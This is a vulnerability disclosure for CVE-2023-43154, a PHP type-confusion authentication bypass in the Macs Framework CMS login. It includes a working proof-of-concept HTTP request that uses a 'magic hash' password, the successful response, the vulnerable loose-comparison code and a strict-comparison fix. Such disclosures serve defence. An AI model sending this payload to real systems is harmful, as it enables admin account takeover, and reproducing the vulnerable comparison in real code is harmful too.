# CVE-2023-43154 - Macs Framework v1.1.4f CMS Type Confusion Vulnerability

## Table of Contents
1. [Overview](#overview)
2. [Proof of Concept](#proof-of-concept)
3. [Technical Debrief](#technical-debrief)
4. [Mitigation](#mitigation)


## Overview

**CVE-ID**: CVE-2023-43154

**CVSS 3.1**: 9.8

**Vulnerability Description**: A loose comparison in the `isValidLogin()` function results in a PHP type confusion
vulnerability that can be abused to bypass authentication and takeover the administrator account.

**Vulnerable Parameters**: The username and password of the users on the CMS.

**Affected Products**: Macs Framework v1.14f - Content Management System

**Limitations**:
1. The username of the victim account must be previously known or a zero-like string
2. The password used with the account must result in a "magic hash".

**User Interaction Required**: None




**References**: [https://github.com/ally-petitt/CVE-2023-43154-PoC](https://github.com/ally-petitt/CVE-2023-43154-PoC)

**Discovery Date**: September 7, 2023

**Reported By**: Ally Petitt


## Proof of Concept

Logging in at the URI `/index.php/main/cms/login` with the username of the victim account and any 
password that results in a magic hash will lead to authentication bypass.

A sample login is shown below.

### Send Payload 

```
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close

ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
```

### HTTP Response

```
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<script>window.location.href="http://172.17.0.2/index.php/home"</script>
```

The status code of 200 and the redirect to `/index.php/home` are both indications that the login attempt 
was successful. The password of `testadmin` was not the password used in the login attempt (`0gdVIdSQL8Cm`).
Instead, it was set to `QNKCDZO`.


## Technical Debrief

When a user attempts to log in, their supplied password is hashed and and sent as a parameter to
the `isValidLogin()` function via the initial `login()` function that is called when a POST request
is made to `/index.php/Main/CMS/login`.

```
    public function login()
    {      
      if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
      --snip--
    }
```

The `isValidLogin()` function begins on line 83 of file `/Application/plugins/CMS/controllers/CMS.php`.
It is vulnerable to a type confusion vulnerability due to its use of 2 equal signs instead of 3.

```
    private function isValidLogin($username, $password)
    {
      $this->loadModels();
      
      $loggedIn = false;

      foreach (Config::$editInPlaceAdmins as $key=>$account)
      {
        if(( $account['username'] == $username) && ($account['password'] == $password ) )
        {
          $loggedIn = true;
          Session::set('AdminLoggedIn', $account);
          break;
        }
      }
```

As shown in the `if` statement, the username and password are being checked with a loose comparison, leading
to a PHP type confusion vulnerability. This can be abused when logging in with a password that results in a 
magic hash, or hash that is interpretted by PHP to have the value `0` during a loose comparison. A list of such
passwords can be found [here](https://github.com/spaze/hashes).

To exploit this, it is important to first understand the format that `$account['password']` is stored in.
In the function used to save a new user account on line 730 of the aforementioned `CMS.php` file, it becomes
clear that the password is first passed through an `encrypt` function before it is stored.
```
  $password = $this->encrypt(Post::getByKey('password'));
  $confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
  -- snip --
  private function saveNewUser( $username, $password, $emailAddress, $roleId)
```

Continuing to the function that is called after the password is run through `encrypt`, the following
code is used:
```
    private function saveNewUser( $username, $password, $emailAddress, $roleId)
    {
      --snip--
            $this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
      --snip--
    }
```

Based on the code above, it is apparent that the "encrypted" password was placed directly into the
`users` Model of the MVC framework. Finally, to exploit this vulnerability, it is necessary to understand
how the `encrypt` function works as its output is being directly compared against the user input.

```
    private function encrypt( $string )
    {      
      return md5($string);
    }
```

The encrypt function returns the MD5 hash of the string passed to it. This means that when the `login()`
function is called with the user-supplied credentials, the inputted password is hashed and compared against
the stored MD5 hash of the victim account.

The implication is that when using a password that results in a PHP collision, or magic hash, it will register 
as being equivilent when compared against a stored password that also follows the format of a magic hash.
As a result, a very large number of passwords can be used to authenticate to and takeover the administrator
account, even when the initial password is not previously known.


## Mitigation
This vulnerability can be mitigated by changing the loose comparison in the `isValidLogin()` function
to a strict comparison by replacing `==` with `===`.